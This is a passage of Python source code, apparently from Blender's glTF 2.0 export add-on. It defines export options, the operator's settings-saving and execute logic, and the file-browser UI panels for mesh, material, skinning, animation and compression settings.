use_visible: BoolProperty(\n name='Visible Objects',\n description='Export visible objects only',\n default=False\n )\n\n use_renderable: BoolProperty(\n name='Renderable Objects',\n description='Export renderable objects only',\n default=False\n )\n\n use_active_collection_with_nested: BoolProperty(\n name='Include Nested Collections',\n description='Include active collection and nested collections',\n default=True\n )\n\n use_active_collection: BoolProperty(\n name='Active Collection',\n description='Export objects in the active collection only',\n default=False\n )\n\n use_active_scene: BoolProperty(\n name='Active Scene',\n description='Export active scene only',\n default=False\n )\n\n export_extras: BoolProperty(\n name='Custom Properties',\n description='Export custom properties as glTF extras',\n default=False\n )\n\n export_yup: BoolProperty(\n name='+Y Up',\n description='Export using glTF convention, +Y up',\n default=True\n )\n\n export_apply: BoolProperty(\n name='Apply Modifiers',\n description='Apply modifiers (excluding Armatures) to mesh objects -'\n 'WARNING: prevents exporting shape keys',\n default=False\n )\n\n export_animations: BoolProperty(\n name='Animations',\n description='Exports active actions and NLA tracks as glTF animations',\n default=True\n )\n\n export_frame_range: BoolProperty(\n name='Limit to Playback Range',\n description='Clips animations to selected playback range',\n default=False\n )\n\n export_frame_step: IntProperty(\n name='Sampling Rate',\n description='How often to evaluate animated values (in frames)',\n default=1,\n min=1,\n max=120\n )\n\n export_force_sampling: BoolProperty(\n name='Always Sample Animations',\n description='Apply sampling to all animations',\n default=True\n )\n\n export_animation_mode: EnumProperty(\n name='Animation mode',\n items=(('ACTIONS', 'Actions',\n 'Export actions (actives and on NLA tracks) as separate animations'),\n ('ACTIVE_ACTIONS', 'Active actions merged',\n 'All the currently assigned actions become one glTF animation'),\n ('NLA_TRACKS', 'NLA Tracks',\n 'Export individual NLA Tracks as separate animation'),\n ('SCENE', 'Scene',\n 'Export baked scene as a single animation')\n ),\n description='Export Animation mode',\n default='ACTIONS'\n )\n\n export_nla_strips_merged_animation_name: StringProperty(\n name='Merged Animation Name',\n description=(\n \"Name of single glTF animation to be exported\"\n ),\n default='Animation'\n )\n\n export_def_bones: BoolProperty(\n name='Export Deformation Bones Only',\n description='Export Deformation bones only',\n default=False\n )\n\n export_hierarchy_flatten_bones: BoolProperty(\n name='Flatten Bone Hierarchy',\n description='Flatten Bone Hierarchy. Useful in case of non decomposable transformation matrix',\n default=False\n )\n\n export_hierarchy_flatten_objs: BoolProperty(\n name='Flatten Object Hierarchy',\n description='Flatten Object Hierarchy. Useful in case of non decomposable transformation matrix',\n default=False\n )\n\n export_armature_object_remove: BoolProperty(\n name='Remove Armature Object',\n description=(\n 'Remove Armature object if possible.'\n 'If Armature has multiple root bones, object will not be removed'\n ),\n default=False\n )\n\n export_optimize_animation_size: BoolProperty(\n name='Optimize Animation Size',\n description=(\n \"Reduce exported file size by removing duplicate keyframes\"\n ),\n default=True\n )\n\n export_optimize_animation_keep_anim_armature: BoolProperty(\n name='Force keeping channels for bones',\n description=(\n \"If all keyframes are identical in a rig, \"\n \"force keeping the minimal animation. \"\n \"When off, all possible channels for \"\n \"the bones will be exported, even if empty \"\n \"(minimal animation, 2 keyframes)\"\n ),\n default=True\n )\n\n export_optimize_animation_keep_anim_object: BoolProperty(\n name='Force keeping channel for objects',\n description=(\n \"If all keyframes are identical for object transformations, \"\n \"force keeping the minimal animation\"\n ),\n default=False\n )\n\n export_negative_frame: EnumProperty(\n name='Negative Frames',\n items=(('SLIDE', 'Slide',\n 'Slide animation to start at frame 0'),\n ('CROP', 'Crop',\n 'Keep only frames above frame 0'),\n ),\n description='Negative Frames are slid or cropped',\n default='SLIDE'\n )\n\n export_anim_slide_to_zero: BoolProperty(\n name='Set all glTF Animation starting at 0',\n description=(\n \"Set all glTF animation starting at 0.0s. \"\n \"Can be useful for looping animations\"\n ),\n default=False\n )\n\n export_bake_animation: BoolProperty(\n name='Bake All Objects Animations',\n description=(\n \"Force exporting animation on every object. \"\n \"Can be useful when using constraints or driver. \"\n \"Also useful when exporting only selection\"\n ),\n default=False\n )\n\n export_anim_single_armature: BoolProperty(\n name='Export all Armature Actions',\n description=(\n \"Export all actions, bound to a single armature. \"\n \"WARNING: Option does not support exports including multiple armatures\"\n ),\n default=True\n )\n\n export_reset_pose_bones: BoolProperty(\n name='Reset pose bones between actions',\n description=(\n \"Reset pose bones between each action exported. \"\n \"This is needed when some bones are not keyed on some animations\"\n ),\n default=True\n )\n\n export_current_frame: BoolProperty(\n name='Use Current Frame as Object Rest Transformations',\n description=(\n 'Export the scene in the current animation frame. '\n 'When off, frame 0 is used as rest transformations for objects'\n ),\n default=False\n )\n\n export_rest_position_armature: BoolProperty(\n name='Use Rest Position Armature',\n description=(\n \"Export armatures using rest position as joints' rest pose. \"\n \"When off, current frame pose is used as rest pose\"\n ),\n default=True\n )\n\n export_anim_scene_split_object: BoolProperty(\n name='Split Animation by Object',\n description=(\n \"Export Scene as seen in Viewport, \"\n \"But split animation by Object\"\n ),\n default=True\n )\n\n export_skins: BoolProperty(\n name='Skinning',\n description='Export skinning (armature) data',\n default=True\n )\n\n export_influence_nb: IntProperty(\n name='Bone Influences',\n description='Choose how many Bone influences to export',\n default=4,\n min=1\n )\n\n export_all_influences: BoolProperty(\n name='Include All Bone Influences',\n description='Allow export of all joint vertex influences. Models may appear incorrectly in many viewers',\n default=False\n )\n\n export_morph: BoolProperty(\n name='Shape Keys',\n description='Export shape keys (morph targets)',\n default=True\n )\n\n export_morph_normal: BoolProperty(\n name='Shape Key Normals',\n description='Export vertex normals with shape keys (morph targets)',\n default=True\n )\n\n export_morph_tangent: BoolProperty(\n name='Shape Key Tangents',\n description='Export vertex tangents with shape keys (morph targets)',\n default=False\n )\n\n export_morph_animation: BoolProperty(\n name='Shape Key Animations',\n description='Export shape keys animations (morph targets)',\n default=True\n )\n\n export_morph_reset_sk_data: BoolProperty(\n name='Reset shape keys between actions',\n description=(\n \"Reset shape keys between each action exported. \"\n \"This is needed when some SK channels are not keyed on some animations\"\n ),\n default=True\n )\n\n export_lights: BoolProperty(\n name='Punctual Lights',\n description='Export directional, point, and spot lights. '\n 'Uses \"KHR_lights_punctual\" glTF extension',\n default=False\n )\n\n export_try_sparse_sk: BoolProperty(\n name='Use Sparse Accessor if better',\n description='Try using Sparse Accessor if it saves space',\n default=True\n )\n\n export_try_omit_sparse_sk: BoolProperty(\n name='Omitting Sparse Accessor if data is empty',\n description='Omitting Sparse Accessor if data is empty',\n default=False\n )\n\n export_gpu_instances: BoolProperty(\n name='GPU Instances',\n description='Export using EXT_mesh_gpu_instancing. '\n 'Limited to children of a given Empty. '\n 'Multiple materials might be omitted',\n default=False\n )\n\n # This parameter is only here for backward compatibility, as this option is removed in 3.6\n # This option does nothing, and is not displayed in UI\n # What you are looking for is probably \"export_animation_mode\"\n export_nla_strips: BoolProperty(\n name='Group by NLA Track',\n description=(\n \"When on, multiple actions become part of the same glTF animation if \"\n \"they're pushed onto NLA tracks with the same name. \"\n \"When off, all the currently assigned actions become one glTF animation\"\n ),\n default=True\n )\n\n # Keep for back compatibility, but no more used\n export_original_specular: BoolProperty(\n name='Export original PBR Specular',\n description=(\n 'Export original glTF PBR Specular, instead of Blender Principled Shader Specular'\n ),\n default=False,\n )\n\n will_save_settings: BoolProperty(\n name='Remember Export Settings',\n description='Store glTF export settings in the Blender project',\n default=False)\n\n # Custom scene property for saving settings\n scene_key = \"glTF2ExportSettings\"\n\n #\n\n def check(self, _context):\n # Ensure file extension matches format\n old_filepath = self.filepath\n self.filepath = ensure_filepath_matches_export_format(\n self.filepath,\n self.export_format,\n )\n return self.filepath != old_filepath\n\n def invoke(self, context, event):\n settings = context.scene.get(self.scene_key)\n self.will_save_settings = False\n if settings:\n try:\n for (k, v) in settings.items():\n setattr(self, k, v)\n self.will_save_settings = True\n\n # Update filter if user saved settings\n if hasattr(self, 'export_format'):\n self.filter_glob = '*.glb' if self.export_format == 'GLB' else '*.gltf'\n\n except (AttributeError, TypeError):\n self.report({\"ERROR\"}, \"Loading export settings failed. Removed corrupted settings\")\n del context.scene[self.scene_key]\n\n import sys\n preferences = bpy.context.preferences\n for addon_name in preferences.addons.keys():\n try:\n if hasattr(sys.modules[addon_name], 'glTF2ExportUserExtension') or hasattr(sys.modules[addon_name], 'glTF2ExportUserExtensions'):\n exporter_extension_panel_unregister_functors.append(sys.modules[addon_name].register_panel())\n except Exception:\n pass\n\n self.has_active_exporter_extensions = len(exporter_extension_panel_unregister_functors) > 0\n return ExportHelper.invoke(self, context, event)\n\n def save_settings(self, context):\n # find all props to save\n exceptional = [\n # options that don't start with 'export_'\n 'use_selection',\n 'use_visible',\n 'use_renderable',\n 'use_active_collection_with_nested',\n 'use_active_collection',\n 'use_mesh_edges',\n 'use_mesh_vertices',\n 'use_active_scene',\n ]\n all_props = self.properties\n export_props = {\n x: getattr(self, x) for x in dir(all_props)\n if (x.startswith(\"export_\") or x in exceptional) and all_props.get(x) is not None\n }\n context.scene[self.scene_key] = export_props\n\n def execute(self, context):\n import os\n import datetime\n from .blender.exp import gltf2_blender_export\n from .io.com.gltf2_io_path import path_to_uri\n\n if self.will_save_settings:\n self.save_settings(context)\n\n self.check(context) # ensure filepath has the right extension\n\n # All custom export settings are stored in this container.\n export_settings = {}\n\n export_settings['timestamp'] = datetime.datetime.now()\n export_settings['gltf_export_id'] = self.gltf_export_id\n export_settings['gltf_filepath'] = self.filepath\n export_settings['gltf_filedirectory'] = os.path.dirname(export_settings['gltf_filepath']) + '/'\n export_settings['gltf_texturedirectory'] = os.path.join(\n export_settings['gltf_filedirectory'],\n self.export_texture_dir,\n )\n export_settings['gltf_keep_original_textures'] = self.export_keep_originals\n\n export_settings['gltf_format'] = self.export_format\n export_settings['gltf_image_format'] = self.export_image_format\n export_settings['gltf_add_webp'] = self.export_image_add_webp\n export_settings['gltf_webp_fallback'] = self.export_image_webp_fallback\n export_settings['gltf_image_quality'] = self.export_image_quality\n export_settings['gltf_image_quality'] = self.export_jpeg_quality #For back compatibility\n export_settings['gltf_copyright'] = self.export_copyright\n export_settings['gltf_texcoords'] = self.export_texcoords\n export_settings['gltf_normals'] = self.export_normals\n export_settings['gltf_tangents'] = self.export_tangents and self.export_normals\n export_settings['gltf_loose_edges'] = self.use_mesh_edges\n export_settings['gltf_loose_points'] = self.use_mesh_vertices\n\n if self.is_draco_available:\n export_settings['gltf_draco_mesh_compression'] = self.export_draco_mesh_compression_enable\n export_settings['gltf_draco_mesh_compression_level'] = self.export_draco_mesh_compression_level\n export_settings['gltf_draco_position_quantization'] = self.export_draco_position_quantization\n export_settings['gltf_draco_normal_quantization'] = self.export_draco_normal_quantization\n export_settings['gltf_draco_texcoord_quantization'] = self.export_draco_texcoord_quantization\n export_settings['gltf_draco_color_quantization'] = self.export_draco_color_quantization\n export_settings['gltf_draco_generic_quantization'] = self.export_draco_generic_quantization\n else:\n export_settings['gltf_draco_mesh_compression'] = False\n\n export_settings['gltf_materials'] = self.export_materials\n export_settings['gltf_attributes'] = self.export_attributes\n export_settings['gltf_cameras'] = self.export_cameras\n\n export_settings['gltf_visible'] = self.use_visible\n export_settings['gltf_renderable'] = self.use_renderable\n\n export_settings['gltf_active_collection'] = self.use_active_collection\n if self.use_active_collection:\n export_settings['gltf_active_collection_with_nested'] = self.use_active_collection_with_nested\n else:\n export_settings['gltf_active_collection_with_nested'] = False\n export_settings['gltf_active_scene'] = self.use_active_scene\n\n export_settings['gltf_selected'] = self.use_selection\n export_settings['gltf_layers'] = True # self.export_layers\n export_settings['gltf_extras'] = self.export_extras\n export_settings['gltf_yup'] = self.export_yup\n export_settings['gltf_apply'] = self.export_apply\n export_settings['gltf_current_frame'] = self.export_current_frame\n export_settings['gltf_animations'] = self.export_animations\n export_settings['gltf_def_bones'] = self.export_def_bones\n export_settings['gltf_flatten_bones_hierarchy'] = self.export_hierarchy_flatten_bones\n export_settings['gltf_flatten_obj_hierarchy'] = self.export_hierarchy_flatten_objs\n export_settings['gltf_armature_object_remove'] = self.export_armature_object_remove\n if self.export_animations:\n export_settings['gltf_frame_range'] = self.export_frame_range\n export_settings['gltf_force_sampling'] = self.export_force_sampling\n if not self.export_force_sampling:\n export_settings['gltf_def_bones'] = False\n export_settings['gltf_bake_animation'] = False\n export_settings['gltf_animation_mode'] = self.export_animation_mode\n if export_settings['gltf_animation_mode'] == \"NLA_TRACKS\":\n export_settings['gltf_force_sampling'] = True\n if export_settings['gltf_animation_mode'] == \"SCENE\":\n export_settings['gltf_anim_scene_split_object'] = self.export_anim_scene_split_object\n else:\n export_settings['gltf_anim_scene_split_object'] = False\n\n export_settings['gltf_nla_strips_merged_animation_name'] = self.export_nla_strips_merged_animation_name\n export_settings['gltf_optimize_animation'] = self.export_optimize_animation_size\n export_settings['gltf_optimize_animation_keep_armature'] = self.export_optimize_animation_keep_anim_armature\n export_settings['gltf_optimize_animation_keep_object'] = self.export_optimize_animation_keep_anim_object\n export_settings['gltf_export_anim_single_armature'] = self.export_anim_single_armature\n export_settings['gltf_export_reset_pose_bones'] = self.export_reset_pose_bones\n export_settings['gltf_export_reset_sk_data'] = self.export_morph_reset_sk_data\n export_settings['gltf_bake_animation'] = self.export_bake_animation\n export_settings['gltf_negative_frames'] = self.export_negative_frame\n export_settings['gltf_anim_slide_to_zero'] = self.export_anim_slide_to_zero\n else:\n export_settings['gltf_frame_range'] = False\n export_settings['gltf_force_sampling'] = False\n export_settings['gltf_bake_animation'] = False\n export_settings['gltf_optimize_animation'] = False\n export_settings['gltf_optimize_animation_keep_armature'] = False\n export_settings['gltf_optimize_animation_keep_object'] = False\n export_settings['gltf_export_anim_single_armature'] = False\n export_settings['gltf_export_reset_pose_bones'] = False\n export_settings['gltf_export_reset_sk_data'] = False\n export_settings['gltf_skins'] = self.export_skins\n if self.export_skins:\n export_settings['gltf_all_vertex_influences'] = self.export_all_influences\n export_settings['gltf_vertex_influences_nb'] = self.export_influence_nb\n else:\n export_settings['gltf_all_vertex_influences'] = False\n export_settings['gltf_def_bones'] = False\n export_settings['gltf_rest_position_armature'] = self.export_rest_position_armature\n export_settings['gltf_frame_step'] = self.export_frame_step\n\n export_settings['gltf_morph'] = self.export_morph\n if self.export_morph:\n export_settings['gltf_morph_normal'] = self.export_morph_normal\n export_settings['gltf_morph_tangent'] = self.export_morph_tangent\n export_settings['gltf_morph_anim'] = self.export_morph_animation\n else:\n export_settings['gltf_morph_normal'] = False\n export_settings['gltf_morph_tangent'] = False\n export_settings['gltf_morph_anim'] = False\n\n export_settings['gltf_lights'] = self.export_lights\n export_settings['gltf_lighting_mode'] = self.export_import_convert_lighting_mode\n export_settings['gltf_gpu_instances'] = self.export_gpu_instances\n\n export_settings['gltf_try_sparse_sk'] = self.export_try_sparse_sk\n export_settings['gltf_try_omit_sparse_sk'] = self.export_try_omit_sparse_sk\n if not self.export_try_sparse_sk:\n export_settings['gltf_try_omit_sparse_sk'] = False\n\n\n export_settings['gltf_binary'] = bytearray()\n export_settings['gltf_binaryfilename'] = (\n path_to_uri(os.path.splitext(os.path.basename(self.filepath))[0] + '.bin')\n )\n\n user_extensions = []\n pre_export_callbacks = []\n post_export_callbacks = []\n\n import sys\n preferences = bpy.context.preferences\n for addon_name in preferences.addons.keys():\n try:\n module = sys.modules[addon_name]\n except Exception:\n continue\n if hasattr(module, 'glTF2ExportUserExtension'):\n extension_ctor = module.glTF2ExportUserExtension\n user_extensions.append(extension_ctor())\n if hasattr(module, 'glTF2ExportUserExtensions'):\n extension_ctors = module.glTF2ExportUserExtensions\n for extension_ctor in extension_ctors:\n user_extensions.append(extension_ctor())\n if hasattr(module, 'glTF2_pre_export_callback'):\n pre_export_callbacks.append(module.glTF2_pre_export_callback)\n if hasattr(module, 'glTF2_post_export_callback'):\n post_export_callbacks.append(module.glTF2_post_export_callback)\n export_settings['gltf_user_extensions'] = user_extensions\n export_settings['pre_export_callbacks'] = pre_export_callbacks\n export_settings['post_export_callbacks'] = post_export_callbacks\n\n return gltf2_blender_export.save(context, export_settings)\n\n def draw(self, context):\n pass # Is needed to get panels available\n\n\nclass GLTF_PT_export_main(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"\"\n bl_parent_id = \"FILE_PT_operator\"\n bl_options = {'HIDE_HEADER'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\"\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\n sfile = context.space_data\n operator = sfile.active_operator\n\n layout.prop(operator, 'export_format')\n if operator.export_format == 'GLTF_SEPARATE':\n layout.prop(operator, 'export_keep_originals')\n if operator.export_keep_originals is False:\n layout.prop(operator, 'export_texture_dir', icon='FILE_FOLDER')\n\n layout.prop(operator, 'export_copyright')\n layout.prop(operator, 'will_save_settings')\n\n\nclass GLTF_PT_export_include(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Include\"\n bl_parent_id = \"FILE_PT_operator\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\"\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\n sfile = context.space_data\n operator = sfile.active_operator\n\n col = layout.column(heading = \"Limit to\", align = True)\n col.prop(operator, 'use_selection')\n col.prop(operator, 'use_visible')\n col.prop(operator, 'use_renderable')\n col.prop(operator, 'use_active_collection')\n if operator.use_active_collection:\n col.prop(operator, 'use_active_collection_with_nested')\n col.prop(operator, 'use_active_scene')\n\n col = layout.column(heading = \"Data\", align = True)\n col.prop(operator, 'export_extras')\n col.prop(operator, 'export_cameras')\n col.prop(operator, 'export_lights')\n\n\nclass GLTF_PT_export_transform(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Transform\"\n bl_parent_id = \"FILE_PT_operator\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\"\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\n sfile = context.space_data\n operator = sfile.active_operator\n\n layout.prop(operator, 'export_yup')\n\n\nclass GLTF_PT_export_data(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Data\"\n bl_parent_id = \"FILE_PT_operator\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\"\n\n def draw(self, context):\n pass\n\nclass GLTF_PT_export_data_scene(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Scene Graph\"\n bl_parent_id = \"GLTF_PT_export_data\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\"\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\n sfile = context.space_data\n operator = sfile.active_operator\n layout.prop(operator, 'export_gpu_instances')\n layout.prop(operator, 'export_hierarchy_flatten_objs')\n\nclass GLTF_PT_export_data_mesh(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Mesh\"\n bl_parent_id = \"GLTF_PT_export_data\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\"\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\n sfile = context.space_data\n operator = sfile.active_operator\n\n layout.prop(operator, 'export_apply')\n layout.prop(operator, 'export_texcoords')\n layout.prop(operator, 'export_normals')\n col = layout.column()\n col.active = operator.export_normals\n col.prop(operator, 'export_tangents')\n layout.prop(operator, 'export_attributes')\n\n col = layout.column()\n col.prop(operator, 'use_mesh_edges')\n col.prop(operator, 'use_mesh_vertices')\n\n\nclass GLTF_PT_export_data_material(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Material\"\n bl_parent_id = \"GLTF_PT_export_data\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\"\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\n sfile = context.space_data\n operator = sfile.active_operator\n\n layout.prop(operator, 'export_materials')\n col = layout.column()\n col.active = operator.export_materials == \"EXPORT\"\n col.prop(operator, 'export_image_format')\n if operator.export_image_format in [\"AUTO\", \"JPEG\", \"WEBP\"]:\n col.prop(operator, 'export_image_quality')\n col = layout.column()\n col.active = operator.export_image_format != \"WEBP\"\n col.prop(operator, \"export_image_add_webp\")\n col = layout.column()\n col.active = operator.export_image_format != \"WEBP\"\n col.prop(operator, \"export_image_webp_fallback\")\n\nclass GLTF_PT_export_data_lighting(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Lighting\"\n bl_parent_id = \"GLTF_PT_export_data\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\"\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\n sfile = context.space_data\n operator = sfile.active_operator\n\n layout.prop(operator, 'export_import_convert_lighting_mode')\n\nclass GLTF_PT_export_data_shapekeys(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Shape Keys\"\n bl_parent_id = \"GLTF_PT_export_data\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\"\n\n def draw_header(self, context):\n sfile = context.space_data\n operator = sfile.active_operator\n self.layout.prop(operator, \"export_morph\", text=\"\")\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\n sfile = context.space_data\n operator = sfile.active_operator\n\n layout.active = operator.export_morph\n\n layout.prop(operator, 'export_morph_normal')\n col = layout.column()\n col.active = operator.export_morph_normal\n col.prop(operator, 'export_morph_tangent')\n\n\nclass GLTF_PT_export_data_sk_optimize(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Optimize Shape Keys\"\n bl_parent_id = \"GLTF_PT_export_data_shapekeys\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\"\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\n sfile = context.space_data\n operator = sfile.active_operator\n\n row = layout.row()\n row.prop(operator, 'export_try_sparse_sk')\n\n row = layout.row()\n row.active = operator.export_try_sparse_sk\n row.prop(operator, 'export_try_omit_sparse_sk')\n\n\nclass GLTF_PT_export_data_skinning(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Skinning\"\n bl_parent_id = \"GLTF_PT_export_data\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\"\n\n def draw_header(self, context):\n sfile = context.space_data\n operator = sfile.active_operator\n self.layout.prop(operator, \"export_skins\", text=\"\")\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\n sfile = context.space_data\n operator = sfile.active_operator\n\n layout.active = operator.export_skins\n\n row = layout.row()\n row.prop(operator, 'export_influence_nb')\n row.active = not operator.export_all_influences\n layout.prop(operator, 'export_all_influences')\n\n\nclass GLTF_PT_export_data_armature(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Armature\"\n bl_parent_id = \"GLTF_PT_export_data\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\"\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\n sfile = context.space_data\n operator = sfile.active_operator\n\n layout.active = operator.export_skins\n\n layout.prop(operator, 'export_rest_position_armature')\n\n row = layout.row()\n row.active = operator.export_force_sampling\n row.prop(operator, 'export_def_bones')\n if operator.export_force_sampling is False and operator.export_def_bones is True:\n layout.label(text=\"Export only deformation bones is not possible when not sampling animation\")\n row = layout.row()\n row.prop(operator, 'export_armature_object_remove')\n row = layout.row()\n row.prop(operator, 'export_hierarchy_flatten_bones')\n\nclass GLTF_PT_export_data_compression(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Compression\"\n bl_parent_id = \"GLTF_PT_export_data\"\n bl_options = {'DEFAULT_CLOSED'}\n\n def __init__(self):\n from .io.com import gltf2_io_draco_compression_extension\n self.is_draco_available = gltf2_io_draco_compression_extension.dll_exists(quiet=True)\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n if operator.is_draco_available:\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\"\n\n def draw_header(self, context):\n sfile = context.space_data\n operator = sfile.active_operator\n self.layout.prop(operator, \"export_draco_mesh_compression_enable\", text=\"\")\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\n sfile = context.space_data\n operator = sfile.active_operator\n\n layout.active = operator.export_draco_mesh_compression_enable\n layout.prop(operator, 'export_draco_mesh_compression_level')\n\n col = layout.column(align=True)\n col.prop(operator, 'export_draco_position_quantization', text=\"Quantize Position\")\n col.prop(operator, 'export_draco_normal_quantization', text=\"Normal\")\n col.prop(operator, 'export_draco_texcoord_quantization', text=\"Tex Coord\")\n col.prop(operator, 'export_draco_color_quantization', text=\"Color\")\n col.prop(operator, 'export_draco_generic_quantization', text=\"Generic\")\n\n\nclass GLTF_PT_export_animation(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Animation\"\n bl_parent_id = \"FILE_PT_operator\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\"\n\n def draw_header(self, context):\n sfile = context.space_data\n operator = sfile.active_operator\n self.layout.prop(operator, \"export_animations\", text=\"\")\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = True\n layout.use_property_decorate = False # No animation.\n\n sfile = context.space_data\n operator = sfile.active_operator\n\n layout.active = operator.export_animations\n\n layout.prop(operator, 'export_animation_mode')\n if operator.export_animation_mode == \"ACTIVE_ACTIONS\":\n layout.prop(operator, 'export_nla_strips_merged_animation_name')\n\n row = layout.row()\n row.active = operator.export_force_sampling and operator.export_animation_mode in ['ACTIONS', 'ACTIVE_ACTIONS']\n row.prop(operator, 'export_bake_animation')\n if operator.export_animation_mode == \"SCENE\":\n layout.prop(operator, 'export_anim_scene_split_object')\n\nclass GLTF_PT_export_animation_notes(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Notes\"\n bl_parent_id = \"GLTF_PT_export_animation\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\" and \\\n operator.export_animation_mode in [\"NLA_TRACKS\", \"SCENE\"]\n\n def draw(self, context):\n operator = context.space_data.active_operator\n layout = self.layout\n if operator.export_animation_mode == \"SCENE\":\n layout.label(text=\"Scene mode uses full bake mode:\")\n layout.label(text=\"- sampling is active\")\n layout.label(text=\"- baking all objects is active\")\n layout.label(text=\"- Using scene frame range\")\n elif operator.export_animation_mode == \"NLA_TRACKS\":\n layout.label(text=\"Track mode uses full bake mode:\")\n layout.label(text=\"- sampling is active\")\n layout.label(text=\"- baking all objects is active\")\n\nclass GLTF_PT_export_animation_ranges(bpy.types.Panel):\n bl_space_type = 'FILE_BROWSER'\n bl_region_type = 'TOOL_PROPS'\n bl_label = \"Rest & Ranges\"\n bl_parent_id = \"GLTF_PT_export_animation\"\n bl_options = {'DEFAULT_CLOSED'}\n\n @classmethod\n def poll(cls, context):\n sfile = context.space_data\n operator = sfile.active_operator\n\n return operator.bl_idname == \"EXPORT_SCENE_OT_gltf\"\n\n def draw(self, context):\n layout = self.layout\n layout.use_property_split = 